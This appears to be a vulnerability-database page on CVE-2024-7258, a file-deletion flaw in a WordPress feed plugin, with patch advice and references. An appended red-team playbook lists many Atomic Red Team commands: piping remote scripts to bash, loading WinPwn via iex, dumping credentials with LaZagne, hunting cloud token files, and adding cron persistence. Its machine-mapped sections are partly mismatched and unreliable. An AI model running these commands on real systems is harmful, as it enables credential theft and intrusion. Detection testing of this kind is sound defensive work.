CVE-2024-7258
Overview
This vulnerability is an authorization bypass due to a missing capability check in the 'wppfm_removeFeedFile' function of the WooCommerce Google Feed Manager plugin. The root cause lies in the absence of proper access control validation for file deletion operations within the plugin's AJAX handler. The affected component is the file removal functionality accessible via AJAX calls in versions up to and including 2.8.0.
Vulnerability Description
The WooCommerce Google Feed Manager plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'wppfm_removeFeedFile' function in all versions up to, and including, 2.8.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An attacker with Contributor-level or higher access can delete arbitrary files on the server, including critical configuration files such as wp-config.php. This can lead to remote code execution or complete site compromise. The exploit requires authentication but no user interaction beyond invoking the vulnerable AJAX function. According to the CVSS vector (AV:N/AC:L/PR:L/UI:N), the attack is network exploitable with low complexity and no user interaction, resulting in high confidentiality, integrity, and availability impact.
Solution
Users must upgrade the WooCommerce Google Feed Manager plugin to a version later than 2.8.0 where the missing capability check is implemented. Detailed patch instructions and advisory information are available from Wordfence at https://www.wordfence.com/threat-intel/vulnerabilities/id/ffd6e18d-9173-4911-af64-5d54c6d2e052. No official workaround is documented; therefore, immediate plugin update is recommended to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WooCommerce Google Feed Manager plugin for WordPress stems from a critical oversight in its access control mechanisms, specifically within the 'wppfm_removeFeedFile' function. This function lacks a necessary capability check, allowing authenticated users with Contributor-level access and above to execute file deletion operations on the server. The absence of proper validation means that any authenticated attacker can potentially remove sensitive files, including configuration files like wp-config.php, which contain critical database credentials and other sensitive information. This flaw highlights a significant gap in the plugin's security architecture, as it fails to enforce the principle of least privilege, thereby exposing the system to unauthorized actions.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, who may have gained access through legitimate means or compromised credentials, can invoke the vulnerable function to delete arbitrary files. Once a file such as wp-config.php is deleted, the attacker can leverage this to gain further control over the web server, potentially leading to remote code execution. This scenario is particularly concerning as it allows attackers to escalate their privileges and execute arbitrary code, which can lead to a complete compromise of the affected WordPress installation. Additionally, the ease of exploitation, given that only Contributor-level access is required, makes this vulnerability particularly dangerous in environments where user roles are not strictly monitored.
The real-world impact of this vulnerability can be severe, especially for businesses relying on WordPress for their e-commerce operations. A successful exploitation could result in data loss, service disruption, and reputational damage. For instance, if an attacker deletes critical files, the website may become inoperable, leading to lost sales and customer trust. Furthermore, the potential for remote code execution means that attackers could install backdoors or other malicious software, allowing them to maintain access to the system long after the initial breach. This can lead to further data breaches, loss of sensitive customer information, and compliance violations, particularly for businesses that handle payment information or personal data.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular audits of user roles and permissions are essential to ensure that only authorized users have access to sensitive functions. Implementing logging and monitoring can help detect unauthorized file deletion attempts, providing an early warning of potential exploitation. Additionally, organizations should apply security patches and updates to the WooCommerce Google Feed Manager plugin as soon as they are available, as this will address the underlying vulnerability. Furthermore, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application.
In conclusion, the vulnerability in the WooCommerce Google Feed Manager plugin represents a significant risk to WordPress installations, particularly those used for e-commerce. The ease of exploitation, combined with the potential for severe consequences, underscores the importance of robust security practices. By implementing proactive detection and mitigation strategies, organizations can better protect themselves against the threats posed by such vulnerabilities, ensuring the integrity and availability of their online services.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpmarketingrobot | Woocommerce Google Feed Manager | All |
cpe:2.3:a:wpmarketingrobot:woocommerce_google_feed_manager:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7258 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/ffd6e18d-9173-4911-af64-5d54c6d2e052?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wp-product-feed-manager/trunk/includes/data/js/wppfm_ajaxdatahandling.js#L537 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wp-product-feed-manager/trunk/includes/data/js/wppfm_ajaxdatahandling.js#L546 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wp-product-feed-manager/trunk/includes/data/js/wppfm_ajaxdatahandling.js#L575 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3137475/ |